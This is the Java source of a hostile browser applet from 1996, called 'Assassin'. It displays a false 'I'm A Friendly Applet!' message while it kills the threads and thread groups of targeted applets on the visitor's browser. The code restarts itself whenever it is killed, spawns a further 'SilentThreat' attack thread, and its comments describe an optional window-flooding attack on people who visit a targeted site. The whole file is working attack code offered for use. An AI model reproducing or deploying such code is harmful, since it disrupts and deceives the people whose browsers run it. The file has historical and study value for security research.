
/*  Assassin.java by Mark D. LaDue */

/*  May 8, 1996  */

/*  Copyright (c) 1996 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

/*  This hostile applet targets a particular applet by killing the threads
    in its main ThreadGroups (and destroying those ThreadGroups when possible).
    The person deploying this applet specifies the names of the targeted applets
    in the strings Target1 and Target2.  (We don't want to read these
    in as parameters to avert suspicion.)  We assume, as is frequently true,
    that when the targeted applet's name is "Victim," then the name of its
    main ThreadGroup will be "applet-Victim.class."  Of course the exact
    group names can be determined by using a thread-listing applet, and this
    applet can easily be adjusted to target any number of applets with any
    group names.  This particular applet has Gamelan as its target.
    Uncommenting the last three lines instructs the applet to conduct a
    "big windows" attack on the browser of the unfortunate person who
    visits Gamelan. */


import java.applet.*;
import java.awt.*;
import java.io.*;

public class Assassin extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window 
    Font wordFont = new Font("TimesRoman", Font.BOLD, 36);

//  The thread that runs the applet
    Thread killer = null;
    
    public void init() {
    setBackground(Color.white);
    }

    public void start() {
        if (killer == null) {
            killer = new Thread(this,"killer");
            killer.setPriority(10);
            killer.start();
        }
    }

    public void stop() {}    

// Kill all threads except this one

    public void run() {
        try {

//  Let the applet tell it's lie
            repaint();

            while (true) {
                ThreadAssassin.killTargetThreads();
                try { killer.sleep(100); } // Don't overwhelm the browser!
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath

        finally {
            Assassin ack = new Assassin();
            Thread reborn = new Thread(ack, "killer");
            reborn.start();
        }
    }

// What a lying applet! 

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(wordFont);
    g.drawString("I'm A Friendly Applet!", 10, 200);
    }
}

class ThreadAssassin {

//  The applets that we want to assassinate

    public static String Target1 = "Animator";
    public static String Target2 = "Navigator";


// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing threads of the targeted applets as we go

    public static void killTargetThreads() {
        ThreadGroup thisGroup;
        ThreadGroup topGroup;
        ThreadGroup parentGroup;
        
// Determine the current thread group
        thisGroup = Thread.currentThread().getThreadGroup();
        
// Proceed to the top ThreadGroup

        topGroup  = thisGroup;
        parentGroup = topGroup.getParent();
        while(parentGroup != null) {
            topGroup  = parentGroup;
            parentGroup = parentGroup.getParent();
        }
// Find all subgroups recursively

        findGroups(topGroup);
    }
    
    private static void findGroups(ThreadGroup g) {
        if (g == null) {return;}
        else {
        int numThreads = g.activeCount();
        int numGroups = g.activeGroupCount();
        if (numThreads == 0 ||
          g.getName().equals("applet-" + Target1 + ".class") ||
          g.getName().equals("applet-" + Target2 + ".class"))
        {
            try { g.destroy();}
            catch (IllegalThreadStateException its) {}
        }
        Thread[] threads = new Thread[numThreads];
        ThreadGroup[] groups = new ThreadGroup[numGroups];
        g.enumerate(threads, false);
        g.enumerate(groups, false);
        for (int i = 0; i < numThreads; i++)
            killOneThread(threads[i]);
        for (int i = 0; i < numGroups; i++)
            findGroups(groups[i]);
        }
    }

    private static void killOneThread(Thread t) { 
        if (t == null || t.getName().equals("killer")) {return;}
        else if (t.getThreadGroup().getName().equals("applet-" + Target1 +
                 ".class") || t.getThreadGroup().getName().equals("applet-" +
                 Target2 + ".class")) {
             t.stop();
             SilentThreat bomber = new SilentThreat();
             Thread attack = new Thread(bomber);
             attack.start();
        }
    }
}
